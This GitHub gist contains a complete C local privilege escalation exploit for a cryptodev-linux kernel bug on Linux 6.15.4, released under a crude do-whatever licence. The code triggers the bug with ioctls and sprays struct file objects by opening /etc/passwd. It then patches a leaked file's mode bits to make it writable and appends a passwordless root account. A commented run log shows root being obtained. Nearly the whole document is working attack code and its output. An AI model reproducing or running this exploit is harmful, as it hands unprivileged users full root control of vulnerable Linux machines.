Skip to content

Instantly share code, notes, and snippets.

@n4sm
Last active January 12, 2026 19:52
Show Gist options
  • Select an option

  • Save n4sm/0fd2479e0c23e0fa2f192cd8fda45750 to your computer and use it in GitHub Desktop.

Select an option

Save n4sm/0fd2479e0c23e0fa2f192cd8fda45750 to your computer and use it in GitHub Desktop.
LPE exploit for a bug I found in cryptodev-linux, meant to work against linux 6.15.4. It is essentially using struct file spraying to add a root user to /etc/passwd.
/*
GLWTS(Good Luck With That Shit) Public License
Copyright (c) Every-fucking-one, except the Author
Everyone is permitted to copy, distribute, modify, merge, sell, publish,
sublicense or whatever the fuck they want with this software but at their
OWN RISK.
Preamble
The author has absolutely no fucking clue what the code in this project
does. It might just fucking work or not, there is no third option.
GOOD LUCK WITH THAT SHIT PUBLIC LICENSE
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION, AND MODIFICATION
0. You just DO WHATEVER THE FUCK YOU WANT TO as long as you NEVER LEAVE
A FUCKING TRACE TO TRACK THE AUTHOR of the original product to blame for
or hold responsible.
IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
DEALINGS IN THE SOFTWARE.
Good luck and Godspeed.
*/
#define _GNU_SOURCE /* See feature_test_macros(7) */
#include <sched.h>
#include <errno.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <stdlib.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <sched.h>
#include "crypto/cryptodev.h"
#include "examples/aes.h"
#define CIPHER_SZ 0x100000
#define KEY_SIZE 16
#define PAGE_SIZE 0x1000
//== Debug utils
// Print entire page in nice hex dump format
void hexdump_page(void *page_addr, const char *label) {
unsigned char *p = (unsigned char*)page_addr;
int offset;
printf("\n");
printf("================================================================================\n");
printf("Hexdump: %s (Address: %p)\n", label, page_addr);
printf("================================================================================\n");
printf("Offset 00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F | ASCII |\n");
printf("-------- ----------------------- ----------------------- ----------------\n");
for (offset = 0; offset < PAGE_SIZE; offset += 16) {
// Print offset
printf("%08x ", offset);
// Print hex bytes (first 8)
for (int i = 0; i < 8; i++) {
printf("%02x ", p[offset + i]);
}
printf(" ");
// Print hex bytes (second 8)
for (int i = 8; i < 16; i++) {
printf("%02x ", p[offset + i]);
}
printf(" |");
// Print ASCII representation
for (int i = 0; i < 16; i++) {
unsigned char c = p[offset + i];
if (c >= 0x20 && c <= 0x7e) {
printf("%c", c);
} else {
printf(".");
}
}
printf("|\n");
}
printf("================================================================================\n");
printf("End of hexdump (4096 bytes / 0x1000)\n");
printf("================================================================================\n\n");
}
void print_page(void *page_addr, int page_count, const char *label) {
printf("\n");
printf("================================================================================\n");
printf("Scanning %d pages from: %s (Address: %p)\n", page_count, label, page_addr);
printf("================================================================================\n");
uint64_t *qwords = (uint64_t*)page_addr;
int found_count = 0;
for (int i = 0; i < page_count * (PAGE_SIZE / sizeof(uint64_t)); i++) {
if (qwords[i] != 0) {
found_count++;
// Check if all bytes are printable ASCII
unsigned char *bytes = (unsigned char*)&qwords[i];
int all_printable = 1;
int has_content = 0; // Check it's not just spaces/nulls
for (int j = 0; j < 8; j++) {
if (bytes[j] != 0) {
has_content = 1;
if (bytes[j] < 0x20 || bytes[j] > 0x7e) {
all_printable = 0;
break;
}
}
}
printf("Offset 0x%04x (qword %3d): 0x%016lx", i * 8, i, qwords[i]);
if (all_printable && has_content) {
printf(" |");
for (int j = 0; j < 8; j++) {
if (bytes[j] >= 0x20 && bytes[j] <= 0x7e) {
printf("%c", bytes[j]);
} else {
printf(".");
}
}
printf("|");
}
printf("\n");
}
}
printf("--------------------------------------------------------------------------------\n");
printf("Total non-zero qwords: %d / %ld\n", found_count, page_count * (PAGE_SIZE / sizeof(uint64_t)));
printf("================================================================================\n\n");
}
//==============================================================
// Set CPU affinity for calling process/thread
void pin_cpu(long cpu_id)
{
cpu_set_t mask;
CPU_ZERO(&mask);
CPU_SET(cpu_id, &mask);
if (sched_setaffinity(0, sizeof(mask), &mask) == -1)
{
perror("`sched_setaffinity()` failed");
}
return;
}
void unpin_cpu(void) {
cpu_set_t mask;
// Set all CPUs in the mask
CPU_ZERO(&mask);
// Get number of available CPUs
long num_cpus = sysconf(_SC_NPROCESSORS_ONLN);
for (long i = 0; i < num_cpus; i++) {
CPU_SET(i, &mask);
}
// Allow process to run on all CPUs
if (sched_setaffinity(0, sizeof(mask), &mask) == -1) {
perror("sched_setaffinity() failed");
}
return;
}
#define MAX_PAGES 1000000
void *pages[MAX_PAGES];
int page_count = 0;
void free_all_pages(int count) {
//printf("Freeing %d pages...\n", count);
for (int i = 0; i < count; i++) {
if (pages[i] != MAP_FAILED) {
munmap(pages[i], 4096);
pages[i] = MAP_FAILED;
}
}
page_count -= count;
}
void stress_pcp_flush(int count) {
// Allocate many pages
for (int i = 0; i < count && page_count < MAX_PAGES; i++) {
pages[page_count] = mmap(NULL, 4096,
PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS,
-1, 0);
if (pages[page_count] != MAP_FAILED) {
// Touch to commit
((char*)pages[page_count])[0] = 'A' + (i % 26);
page_count++;
}
}
}
void increase_fd_limit() {
struct rlimit rlim;
printf("[*] Increasing file descriptor limit...\n");
getrlimit(RLIMIT_NOFILE, &rlim);
rlim.rlim_cur = rlim.rlim_max;
if (setrlimit(RLIMIT_NOFILE, &rlim)) {
perror("setrlimit");
}
}
#include <stdbool.h>
void print_hit(size_t offset, uint64_t value, uint64_t base)
{
size_t page_off = offset & ~(PAGE_SIZE - 1);
size_t hit_in_page = offset - page_off;
const uint8_t *page = base + page_off;
printf("\n[+] kernel ptr @ +0x%zx : 0x%016llx\n",
offset, (unsigned long long)value);
printf(" page @ +0x%zx\n\n", page_off);
}
#define EXT4_FOPS_OFFSET 0x340 // Adjust according to your kernel
#define NUM_OPENS 1000 // Number of file objects to spray
/**
* find_ext4_ops - Scans the provided buffer for a candidate ext4_file_operations pointer.
* @buffer: Pointer to the buffer to scan.
* @size: Size of the buffer in bytes.
*
* Returns offt
*/
int find_ext4_ops(void *buffer, size_t size) {
uint8_t *buf = (uint8_t *)buffer;
for (size_t off = 0; off < size; off += sizeof(uint64_t)) {
uint64_t *entry = (uint64_t *)(buf + off);
uint64_t val = *entry;
/* Check if the upper 32 bits are 0xffffffff */
if (((val >> 32) & 0xffffffff) != 0xffffffff)
continue;
/* Check if the lower 20 bits match EXT4_FOPS_OFFSET's lower 20 bits */
if ((val & 0xfff) == (EXT4_FOPS_OFFSET & 0xfff)) {
printf("[+] Found potential ext4_ops: 0x%lx at offset 0x%zx\n", val, off);
fflush(stdout);
return off;
}
}
return -1;
}
typedef unsigned int fmode_t;
#define FMODE_WRITE ((fmode_t)(1 << 1))
#define FMODE_CAN_WRITE ((fmode_t)(1 << 18))
int
loop_xpl(int cfd)
{
int fd = 0;
struct session_op session = {0};
struct crypt_op cryp = {0};
uint8_t plaintext[CIPHER_SZ] = {0};
uint8_t key[KEY_SIZE] = {0};
uint8_t ciphertext[CIPHER_SZ] = {0};
uint8_t iv[16] = {0};
uint8_t* plain = mmap(NULL, CIPHER_SZ,
PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS,
-1, 0);
memset(plain, 0, CIPHER_SZ);
*(unsigned long* )plain = 0xdeadbeef000;
uint8_t* cipher = mmap(NULL, CIPHER_SZ,
PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS,
-1, 0);
if (MAP_FAILED == plain || MAP_FAILED == cipher) {
printf("failed to allocate\n");
return -1;
}
memset(cipher, 0, CIPHER_SZ);
for (size_t i = 0; i < CIPHER_SZ / 0x1000; i++) {
*((uint64_t* )((uint8_t* )cipher + i * 0x1000)) = 0xdeadbeef000;
}
for (size_t i = 0; i < CIPHER_SZ / 0x1000; i++) {
*((uint64_t* )((uint8_t* )plain + i * 0x1000)) = 0xdeadbeef000;
}
*(unsigned long* )plain = 0xdeadbeef000;
session.cipher = CRYPTO_AES_CBC;
session.keylen = KEY_SIZE;
session.key = (void*)key;
if (ioctl(cfd, CIOCGSESSION, &session)) {
perror("ioctl(CIOCGSESSION)");
return -1;
}
cryp.ses = session.ses;
cryp.len = CIPHER_SZ;
cryp.src = plain;
cryp.dst = cipher;
cryp.iv = (void*)iv;
cryp.op = COP_ENCRYPT;
if (ioctl(cfd, CIOCCRYPT, &cryp)) {
perror("ioctl(CIOCCRYPT)");
return -1;
}
stress_pcp_flush(300000);
cryp.ses = session.ses;
cryp.len = CIPHER_SZ;
cryp.src = NULL;
cryp.dst = (uint8_t* )0xdeadbeef;
cryp.iv = (void*)iv;
cryp.op = COP_ENCRYPT;
if (ioctl(cfd, CIOCCRYPT, &cryp)) {
//perror("ioctl(CIOCCRYPT)");
}
free_all_pages(300000);
printf("[*] Triggered the bug...\n");
printf("[*] Spraying file objects...\n");
fflush(stdout);
for (int i = 0; i < 10485; i++) {
fd = open("/etc/passwd", O_RDONLY);
}
int offt_mode = find_ext4_ops(plain, CIPHER_SZ) - 4;
if (offt_mode < 0) {
printf("[-] Failed to find ext4_file_operations pointer in plain\n");
offt_mode = find_ext4_ops(cipher, CIPHER_SZ) - 4;
if (offt_mode < 0) {
printf("[-] Failed to find ext4_file_operations pointer in cipher\n");
printf("[+] Trying again!...\n");
return loop_xpl(cfd);
}
*(uint32_t* )&cipher[offt_mode] |= (FMODE_WRITE | FMODE_CAN_WRITE);
} else {
*(uint32_t* )&plain[offt_mode] |= (FMODE_WRITE | FMODE_CAN_WRITE);
}
const char *evil_user = "nasm::0:0:root:/root:/bin/bash\n";
for (size_t i = 3; i < 10485 + 3; i++)
{
if (write(i, evil_user, sizeof(evil_user)) > 0) {
printf("[+] Wrote evil user to fd %zu\n", i);
break;
}
close(i);
}
printf("[*] Done. Check /etc/passwd for new root user 'nasm'.\n");
while (1) {};
}
int
main(int argc)
{
int cfd = -1;
increase_fd_limit();
/* Open the crypto device */
cfd = open("/dev/crypto", O_RDWR, 0);
if (cfd < 0) {
perror("open(/dev/crypto)");
return 1;
}
loop_xpl(cfd);
/*
nasm@syzkaller:~$ ./poc
[*] Increasing file descriptor limit...
[*] Triggered the bug...
[*] Spraying file objects...
[-] Failed to find ext4_file_operations pointer in plain
[-] Failed to find ext4_file_operations pointer in cipher
[+] Trying again!...
[*] Triggered the bug...
[*] Spraying file objects...
[+] Found potential ext4_ops: 0xffffffffab631340 at offset 0x8
[*] Done. Check /etc/passwd for new root user 'nasm'.
nasm@off:/media/cryptodev-linux-exploit$ ssh -p 10021 [email protected]
...
nasm@syzkaller:~# id
uid=0(nasm) gid=0(root) groups=0(root) context=system_u:system_r:kernel_t:s0
*/
/* Close the original descriptor */
if (close(cfd)) {
perror("close(cfd)");
return 1;
}
return 0;
}
/*
I used the following kernel options to compile my kernel:
make defconfig && make kvm_guest.config && ./scripts/config -e CONFIG_DEBUG_INFO_DWARF4 -e CONFIG_CONFIGFS_FS && make olddefconfig
You can download the kernel source from https://cdn.kernel.org/pub/linux/kernel/v6.x/linux-6.15.4.tar.gz:
6bfb8a8d4b33ddbec44d78789e0988a78f5f5db1df0b3c98e4543ef7a5b15b97 linux-6.15.42.tar.gz
This exploit technique (spreading struct file and editing the mode) is heavily based on this blogpost: https://blog.exodusintel.com/2024/03/27/mind-the-patch-gap-exploiting-an-io_uring-vulnerability-in-ubuntu/
*/
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment